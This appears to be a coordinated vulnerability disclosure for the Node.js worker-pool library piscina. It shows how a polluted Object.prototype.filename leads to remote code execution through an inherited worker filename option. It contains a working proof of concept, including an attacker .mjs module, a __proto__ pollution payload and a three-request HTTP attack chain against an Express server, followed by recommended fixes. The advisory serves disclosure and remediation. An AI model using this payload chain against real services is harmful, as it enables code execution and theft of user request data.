piscina: Prototype Pollution Gadget → RCE via inherited options.filename

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

1. Upstream PP-source somewhere in the process — common in transitive deps
2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire:

• Every pool.run(task, opts) call across the entire process is hijacked
• Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
• Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
• Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"

B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.

// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response

Empirical observation on piscina@5.1.4 + Node 23.11.0:

• Pre-attack /api/process returns {by: 'valid-worker'}
• Cold-path /probe after PP source confirms ({}).filename is polluted process-wide
• Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>}
• Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access

Recommended fix

Minimal — own-property guard at both option-read sites:

// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;

More idiomatic — use a null-prototype working object throughout this.options:

const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;

Either approach closes the gadget without breaking any legitimate caller pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.

Coordination

• Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
• Will not share publicly until GHSA published or 90 days.
• Please credit ridingsa if you choose to credit a reporter.

How this was discovered

Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.